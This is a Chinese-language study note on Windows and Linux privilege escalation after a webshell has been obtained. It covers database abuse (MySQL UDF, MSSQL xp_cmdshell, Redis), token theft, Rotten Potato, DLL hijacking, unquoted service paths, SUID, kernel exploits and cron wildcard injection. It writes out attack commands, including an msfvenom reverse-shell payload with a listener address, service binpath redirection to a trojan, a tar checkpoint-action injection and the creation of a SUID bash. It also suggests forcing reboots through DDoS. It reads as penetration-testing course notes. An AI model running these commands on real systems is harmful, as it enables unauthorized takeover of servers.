权限提升|win|linux
权限提升|通过后台获取webshell|大纲
具体分析
1、对于一个网站,先找其是否使用了cms,使用了哪套cms,然后上网搜索如何拿shell;若是一些不知名的cms,我们可以下载下来,自己代码审计分析。
2、如果前期通过sql注入、备份源码下载登上了其网站的后台,如何提权?先看图片的思路点。再看功能点。通过后台进行权限提升,从而拿shell。
3、相关操作被拒绝无法实现的时候就会涉及权限提升。具体有哪些权限需要我们知道和了解掌握的?
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
(1)、后台权限: (获得方式:爆破,注入猜解,弱口令等获取的帐号营码配合登录)
一股网站或应用后台只能操作应用的界面内容数据图片等信息,无法操作程序的源代码或服务器上的资源文件的。 (如后台功能存在文件操作的话也可以操作文件数据)
(2)、网站权限:(获得方式:以上图片三种思路获取)
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备,
(3)、数据库权限
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshe11)进行的据库配置文件读取获得。
(4)、接口权限:(邮件,短信,支付,第三方登录等)后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情自己想想
对windows操作系统进行分析
权限提升|win溢出漏洞|ps提权
e部分来源
:https://www.yuque.com/weiker/xiaodi/oeu0k6l93qydx738#tYHDV
必备知识点
1、对于windows,明确权限提升环境问题:web及本地
根据web进行提权:对方的服务器搭建有网站,我根据其网站权限获取到其服务器的权限,难度较大,不易成功(网站的权限一般都比较低,有些东西不易操作);
根据本地进行提取:我获取其服务器计算机上某个普通用户的权限,想进一步获取管理员权限,较易成功。web提权:已有网站权限(可以操作网站内容,但无法操作服务器),想要获得服务器权限,进而操作服务器。
本地提权:已有服务器普通用户权限,想要获得root权限--内网渗透比较多。
明确权限提升方法针对:针对方法适应问题
2、明确权限提升针对版本:个人(win7/8/9)及服务器版本(windows2012/2016/win xp)
3、权限认识|用户及用户组权限划分0x00 windows权限认识(用户及用户组)
Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这些用户账户也将具备该组所拥有的权限。0x01 普通权限
默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)。其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。
管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users) 经过ms验证程序登录的用户均属于此组。0x02特殊权限
除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)–最高权限、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者) 等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。
真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。
“所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限——任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。
被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。
但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。
无论是普通权限还是特殊权限,它们都可以“叠加”使用,“叠加”就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组再加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。所以,我们说的提权,最好是提到SYSTEM,次之就是管理员组(Administrators)内某个成员
假设脚本是jsp,那么提到的webshell权限默认是system;而其他py,asp则是webshell权限
具体分析
1、通过后门获取到对方网站权限后,我们如何利用缓冲区溢出提权?(p59-15:00)
答:信息收集-补丁筛选(也即是查找哪些漏洞可以使用。Vulmap(适用于linux、kali自带),Wes,WindowsVulnScan)-利用MSF或特定EXP-执行-西瓜到手
以上工具的原理好像是先通过systeminfo导出系统的信息,然后利用此信息去对比,从而发现漏洞。
Vulmap,Wes,WindowsVulnScan三种方法对比:
vulmap: 缺点需要在powershell环境中执行,而对于webshell中是没有权限的,更适配Linux系统。我在物理机和虚拟机中都要运行都出现了各种各样的问题。
wes:优点能适应web环境只需要在webshell中执行cmd命令将信息导出到本地环境中执行即可
WindowsVulnScan:缺点:需要借助powershll也可以用systeminfo获取的信息安装工具的格式改成为json
2、利用MSF或特定EXP提权
利用上述3种方法之一找出可利用的漏洞之后,我们可以利用msf或者特定exp进行测试。
首选msf工具,但是msf工具是隔一段时间更新一版,因此msf中的漏洞可能更新不及时,如果遇到了msf没有收录的漏洞,我们可以网上搜索特定的exp测试,比如GitHub上有人整理了很多exp,可以搜索一下。在实战中,由于攻击的服务器在外网,如果使用msf的话,会反弹一个shell,如果不在外网会收不到,所以建议整一台linux服务器,上面只装一个msf即可
MSF结合云服务器搭建组合拳?模拟上述操作实战演练?在实际环境中比较鸡肋因为涉及到阿里云的安全组端口开放问题
● 若要在实战中使用msf,最好买台服务器,不需要配置太好,2核4G即可,linux操作系统(Ubuntu更兼容),只安装msf,使用时用xshell连接即可。
● 云服务器上安装MSF环境:https://www.cnblogs.com/M0rta1s/p/11920903.html
3、总结
(1).提权方法有部分适用在不同环境,当然也有通用方法(觉得关键语句是systeminfo,根据所处的环境选取漏洞筛选工具,筛选出漏洞后,利用上述所说的方法进行漏洞的利用)
(2).提权方法也有操作系统版本区别,特性决定方法利用面(某些操作系统的版本可以直接上网搜索cve-exp,在本地运行即可直接获取system权限–前提:拥有一个普通用户的权限)
(3).提权方法有部分需要特定环境,如数据库,第三方提权等(利用某些操作系统版本涉及的bug进行提权)
权限提升|数据库权限提升|令牌窃取
关系数据库以及非关系数据库区别:
https://blog.csdn.net/qq_51392112/article/details/131353186
数据库提权|大纲
前言:
1、Web提权(webshell权限通过数据库提权提升至服务器权限)本地提权皆可,核心是得到数据库的账号密码
2、在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权。
3、数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码
4、除Access数据库外,其他数据库基本都存在数据库提权的可能流程:
服务探针-信息收集-提权利用-获取权限
数据库提权|具体分析
数据库应用提权在权限提升中的意义
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权WEB或本地环境如何探针数据库应用
通过探针判断有数据库相关的服务
通过端口扫描看是否开启对应端口
通过命令段看是否开启相关服务
通过浏览文件或文件夹判定是否安装相关数据库数据库提权权限用户密码收集等方法
配置文件、储存文件、暴力拆解、其他方式
配置文件:一些需要调用数据库的程序会有配置文件记录账号密码
储存文件:将数据库中的一些储存文件下载还原,解析里面的账号密码
暴力拆解:通过爆破脚本等爆破密码
一般是前两种,第一种最常见。从相关的配置文件中获得账号密码目前数据库提权对应的技术及方法等
要进行分类,根据数据库的不同使用不同的方法
对于mysql的数据库提权分析
1、服务探针
连接webshell,对目标服务器进行端口扫描,发现开放了3306端口,说明服务器部署了MySQL数据库。2、信息收集
MySQL的最高权限的用户名为root,尝试获取root的密码。方法1:读取网站数据库配置文件
这种方法的关键是了解其命名规则及查找技巧。可以重点查看带有关键字的配置文件,常见的关键字有sql、data、inc、config、conn、database、common、include等。方法2:读取数据库存储或备份文件
首先,我们了解一下MySQL数据库存储格式及对应内容。
@@basedir/data/数据库名/表名.myd,表名.myd文件中的内容对应的就是表的内容
相应地,mysql.user对应的内容就存储在MySQLr/data/mysql/user.myd文件中方法3:利用脚本暴力猜解
获取数据库最高权限密码,一般我们使用前两种方法居多,如果前两种方法实在用不了,我们才考虑使用暴力猜解。暴力猜解之前,需要先了解数据库是否支持外联以及如何开启外联(不支持外联就是只支持服务端本机连接)。
● 若数据库支持外联,可以远程本地暴力猜解;
● 若数据库不支持外联,可以服务器本地暴力猜解。你不是已经获取到webshell权限了吗,那么就可以上传这个脚本文件,在服务器本地进行爆破(需要考虑本地脚本环境),PHP搭建的,就上传一个PHP爆破的脚本,再本地访问即可
但是,其实root账户一般是不支持外联的,所以没法使用工具进行本地暴力猜解,但是我们可以将脚本通过webshell上传到服务器,在服务器本地使用脚本暴力猜解。脚本可以从网上自行下载。3、提权利用
法一:UDF提权,前提得知道数据库版本,核心是.dll文件(获取mysql控制权限:知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)
mysql具有写入文件的权限:mysql有写入文件的权限,即secure_file_priv的值为空。)。
法二:MOF法,不推荐。
法三:启动项提权。启动项提权,查看有哪些开机自动执行的脚本程序,把后门脚本添加到自启动。
C:\Users\admin(windows用户名)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
可以利用msf,上传一个后门到上述路径处,然后若对面重启,那就会自动运行我们这个后门,那么就可以实现提权。
备注:问题是如何让我服务器重启,在一般的情况下服务器是不会轻易的重启的,要想重启就是做一些恶意的操作,ddos攻击和恶意脚本攻击。
法四:nc反弹shell
生成木马
1 | 命令行执行:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.21.39 lport=8888 -f exe -o shell.exe |
1 | 在msf开启的命令(好像是) |
nc相关知识:https://www.cnblogs.com/-chenxs/p/11748488.html
对mssql的数据库提权分析
1、使用xp_cmdshell进行提权
<1>通过查看服务器配置文件得到sa账户密码为admin。
<2>由于mssql默认支持外联,因为可以本地通过SqlServer2008客户端使用sa账户密码连接。Navicat也能连接,但是推荐用官方的。
<3>启用xp_cmdshell。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
1 | 启用: |
<4>接下来,我们就可以执行任意命令了。
EXEC master.dbo.xp_cmdshell ‘命令’;
<5>如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exex master.sys.sp_addextendedproc ‘xp_cmdshell’,’C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’xp_cmdshell在数据库-系统数据库-master-可编程性-扩展存储过程-系统扩展存储过程目录下。
总的来说就是通过前期获得的mssql数据库密码,通过软件进行连接,利用mssql自带的xp_cmdshell表执行命令,即可实现提权。2、使用sp_oacreate进行提权
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
<1>启用sp_oacreate
1 | 启用: |
<2>执行命令
1 | 执行whoami查看权限: |
3、使用SqlServer沙盒提权
当前面两种都不得行,最终方案。
这个就是利用sql server上的沙盒模式。
具体看:https://blog.csdn.net/st3pby/article/details/128492244
照着操作就完事了
对于以上三种提权方式,我个人认为是你得现有一个普通用户权限,即本地提权。
对Oracle数据库提权分析
e,说是用工具,那就上网找一个教程跟着一步一步来吧。
1、普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
2、DBA用户模式:
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
3、注入提升模式:
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显
https://blog.csdn.net/qq_61553520/article/details/130936733安利
数据库提权姿势:
https://blog.csdn.net/qq_63844103/article/details/128951265
对Redis数据库权限提升分析
Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有数据恶意清空;如果Redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。连接
未授权漏洞或密码(备份文件|数据库配置文件去获得密码之类的)提权
利用如下方法提权
参考:https://blog.csdn.net/fly_hps/article/details/80937837
(1).利用计划任务执行命令反弹shell
(2).写ssh-keygen公钥然后使用私钥登陆修复方案:
注意:以下操作,均需重启Redis后才能生效。
绑定需要访问数据库的IP(防止外联)。将127.0.0.1修改为需要访问此数据库的IP地址。
设置访问密码(防止未授权漏洞)。在Redis.conf中requirepass字段后,设置添加访问密码。
修改Redis服务运行账号。以较低权限账号运行Redis服务,禁用账号的登录权限。
对postgresql数据库权限提升分析
1、直接exp
CVE-2018-1058:普通用户
CVE-2019-9193:高权限熟知各种数据库最高权限的用户名
Windowas2008令牌窃取权限提升
(本身具有一定权限-即非webshell权限,是主机的某一个用户的权限)
1、进行远程过程调用时请求提升权限,然后调用它从而生成特权安全今牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
2、本地提权实验:获取会话-利用模块-窃取令牌-提权
3、其实就是本地提权,就是得到了对方主机的本机权限之后,此权限不是administrator/system,利用这个令牌窃取,把用户权限提升到高权限。针对win2008之前的os
1 | use incognito #进入incognito模块 |
这个还可以,后期配合其他的提权方法可以直接提到stystem
windows2003&10进程注入提升
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在windows2008之前操作系统上所以我们需要学习后续的本地提权更多的手法才能有针对高版本的系统
权限提升|烂土豆|dll劫持|引号路径|服务权限
权限提升|大纲|完整
具体分析
烂土豆提权-web
1、RottenPotato(烂土豆)提权的原理简述如下:
1.欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
总结:一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。2、烂土豆比热土豆的优点是:
1.100%可靠
2.(当时)全版本通杀
3.立即生效,不用像hot potato那样有时候需要等Windows更新才能使用
总之,烂土豆是通过中间人攻击,将COM(NT\SYSTEM权限)在第二步挑战应答过程中认证的区块改为自己的区块获取SYSTEM权限,然后利用msf的模仿令牌功能模仿SYSTEM令牌。3、关于烂土豆的必备知识点
令牌窃取配合烂土豆提权可以直接从web权限提升至system权限
单纯令牌窃取:本地提权
如配合烂土豆提权:有Web或数据库等权限(才可以通过webshell->system,进行烂土豆提权)即令牌窃取需要一定本地权限,只有webshell权限不可以提权至system。但是配合烂土豆可以实现
过程:
上传msf产生的后门-开启监听-上传烂土豆-执行烂土豆-利用窃取模块(令牌窃取)-窃取SYSTEM-成功
DLL劫持提权应用配合MSF
(复杂|鸡肋|需要特定软件在对方服务器上运行)-Web权限
原理
dll劫持提权需要特定软件应用的控制权限及启用配合
原理:Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
我们可以下一个火绒剑,看一下程序在运行时调用了哪些dll文件。过程:信息收集(收集服务器上的第三方软件)-进程调试(程序在运行时调用哪些dll)-msf制作dll并上传-替换dll并在msf上监听-(管理员)启动应用后成功提权
dll劫持也可以配合令牌窃取获取system权限
不带引号服务路径配合MSF-Web,本地权限
前置
C:\Program Files
在服务中,若不带引号且带有空格即不是“C:\Program Files”这样的,那么files会被认为是参数,程序就不能正确运行。原理:
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。过程:
检测引号服务路径-利用路径制作文件并上传-启用服务(得是管理员用户-什么类型的用户启动,对应的就是什么权限)或重启-调用后成功如何检测引号服务路径?
1 | cmd执行: |
会自动返回调用执行程序时没用引号的,而且还需要在其中找出路径中有空格的。continue
然后继续往下走,把生成的后门文件(.exe)名字换成空格前面,放进对应的硬盘,在启动服务或重启时,系统就会认为空格前面的是程序,后面全都是参数,故而执行了这个后门文件,完成提权。
不安全的服务权限配合MSF-本地权限
原理:
即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。过程:
检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功检测服务权限配置(查看当前用户(组)有哪些权限--执行命令检测,检测当前用户可以操作的服务项):
1 | accesschk.exe -uwcqv "[你可以操作的用户组]" * |
返回的是当前组可以操作的服务,没有则失败(直接可以结束了)制作文件并上传:
上传木马文件更改服务路径指向:
将一个有权限操作的服务项的路径指向更改为木马
1 | sc config "[服务项名]" binpath="[木马文件和它的完整路径]" |
调用后成功:
注意调用的是服务项
1 | sc start "[服务名]" |
总结Windows提权知识点:
提权方法对应层面
Web:SYSTEM>Administrators>Users>default apppool(web权限)
本地:域管理员>计算机用户(一般在内网渗透)不同的提权方法用在不同的层面:
web/本地提权方法对应系统版本
有些方法只针对部分系统相关文件及后门免杀问题等
防止木马文件被杀毒、安全软件干掉
对linux操作系统进行分析
linux系统提权|内核漏洞|SUID|信息收集
大纲
环境:
和windows一样,分为web与本地权限。
具体分析
信息收集
1、手工(敲命令行)|脚本
这里直接介绍用自动脚本收集信息(好东西)
两个信息收集:LinEnum、linuxprivchecker
两个漏洞探针:linux-exploit-suggester、linux-exploit-suggester2信息收集有什么用?
信息收集为后续提权做准备漏洞探针又有什么用?
主要用于内核提权,判定操作系统上可能存在的漏洞2、LinEnum
需要通过webshell权限或文件上传权限上传“LinEnum.sh”到“tmp”文件夹下,执行即可3、linuxprivchecker
需要通过webshell权限或文件上传权限上传“linuxprivchecker.py”到“tmp”文件夹下,还需要目标机器上有python
来到“tmp”目录下,执行文件python linuxprivchecker.py4、linux-exploit-suggester
需要通过webshell权限或文件上传权限上传“linux-exploit-suggester.sh”到“tmp”文件夹下
来到“tmp”目录下,执行文件
./linux-exploit-suggester.sh|sh linux-exploit-suggester.sh5、linux-exploit-suggester2
需要通过webshell权限或文件上传权限上传“linux-exploit-suggester-2.pl”到“tmp”文件夹下,还需要目标机器上有perl(一种脚本语言)
来到“tmp”目录下,执行文件
perl linux-exploit-suggester-2.pl
SUID提权
SUID
SUID是一种特殊权限。设置了SUID的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限。
比如“/usr/bin/passwd”文件,普通用户执行它时,本来是以普通用户的权限启动的;chomd u+s后,获得了root权限,从而能够更改密码。SUID提权:就是用户跨越了权限进行执行
“chmod u+s [文件名]”给予suid权限,“u-s”删除
https://zhuanlan.zhihu.com/p/166468556具体该怎么用
漏洞成因:存在有SUID权限的全局命令(如复制、查找)
提权过程:探针是否有SUID(手工或脚本)-特定SUID利用-利用吃瓜
确定是否有SUID,利用脚本或下面的命令手工确定
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
在找出来的SUID中找Nmap、Vim、find、Bash、More、Less、Nano、cp–原理就是这几个命令如果被赋予了suid,那么就算是普通用户输入这几句话,也会以root权限打开,这就造成了提权。
题外话:看课的时候,看到可以用冰蝎连接靶机的后门,然后直接反弹shell到攻击机(nc)。
大牛文章(关于SUID提权详细操作):https://pentestlab.blog/2017/09/25/suid-executables/
内核漏洞提权
Linux提权本地配合内核漏洞(exp利用)-p62:40:00
提权过程:本地用户连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行-提权成功
连接,下载或上传探测漏洞的脚本,并运行
根据提示的漏洞信息下载或上传EXP,这里EXP文件的名字叫“45010.c”,使用EXP
1 | gcc 45010.c -o 45010 |
最后确定是否提权成功
id
linux系统提权|定时任务|环境变量|数据库
Linux权限
用户的权限用“id”命令来查看,权限分为uid、gid、groups,即属主、属组、其他
文件的权限又分为rwx,即读、写、执行,由三组二进制数据表示
Linux提权本地环境变量安全(配合SUID)
背景:sh是一个系统命令,正常来说,用户要使用的话直接sh就可以调用,但是我尝试了一下,在bin目录下,sh和./sh都可以调出sh界面;但是在其他目录下,./sh不能成功执行。原因就是环境变量的问题,设置的环境变量就是sh对应到/bin目录下的sh可执行文件,而./sh是执行当前目录下的sh文件。提权条件:系统的某一条指令复制了SUID权限(参考SUID提权),还需要本地用户权限
提权原理:借环境变量的执行顺序,替换了高权限的命令,获取权限。
替换命令的方法是借助环境变量会逐个文件夹找命令的运行逻辑,在被执行的命令之前就加一个同名的环境变量
提权过程:手写调用文件-编译-复制文件(默认被指向的,中转–自己上传的文件执行,自己上传的三者都要给予SUID权限–777)-增加环境变量-执行触发
Linux提权本地定时任务安全
(通过恶意篡改定时任务实现SUID提权)第一种:
命令问题(WS注入,主要是参数可以实现自定义)
提权条件:有通配符的可以调用其他命令的命令被放入计划任务中,而且命令支持存在参数
提权原理:利用通配符配合命令参数自定义命令实现提权
可以将通配符所匹配的内容写成命令的参数,调用其他命令
比如说,一个定时备份的脚本要备份某一个目录的所有文件,
1 | cd /home/undead/script;tar czf /tmp/backup.tar.gz * |
注意到上面那个*了吗,意思是所有文件。想象一下,假设有两个文件都为空,–checkpoint-action=exec=sh test.sh(执行)和–checkpoint=1(显示进度)是要被打包的,这两个文件在打包的命令就会成为打包命令的参数,而–checkpoint-action=exec=sh test.sh是为了执行test.sh这个文件。
生成test.sh:
1 | echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh/ |
test.sh的内容:
1 | echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' |
就帮助我们以root去执行上述命令了,接下来调用已经获得root权限的bash
1 | ./bash -p |
完成提权。第二种:
权限问题
提权原理:利用不安全的权限分配操作导致的定时文件覆盖
管理员没有正确的赋予权限,比如给了文件777的权限,导致定时任务(一般是sh脚本)可以被修改,那我们就可以插入恶意代码。第三种:
路径问题
提权原理:利用计划任务指向的文件的相对路径解析问题
计划任务使用相对路径来指定命令时,默认路径是“/usr/local/bin”。在当前用户的目录下创建相同名字的文件,会比默认路径优先级更高
Linux提权提升简单总结归类
1.提权环境(web环境、本地环境),信息收集(SUID、定时任务、可能漏洞、第三方服务应用等)
2.最新相关漏洞要明确(因为工具不可能第一时间更新),二次开发相关脚本学会展望(四个脚本)
3.最新漏洞:本地searchsploit脚本及远程exploitdb站点搜索说明(简要使用)
4.其他提权方法如:密码复用,guid,sudo等说明(运气,同理,鸡肋等)
资源:
火绒剑(HRSword):https://www.sdbeta.com/wg/2020/0628/235361.html
AccessChk:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
exploit database:https://www.exploit-db.com/
RAVEN: 2(vulnhub的靶场):https://www.vulnhub.com/entry/raven-2,269/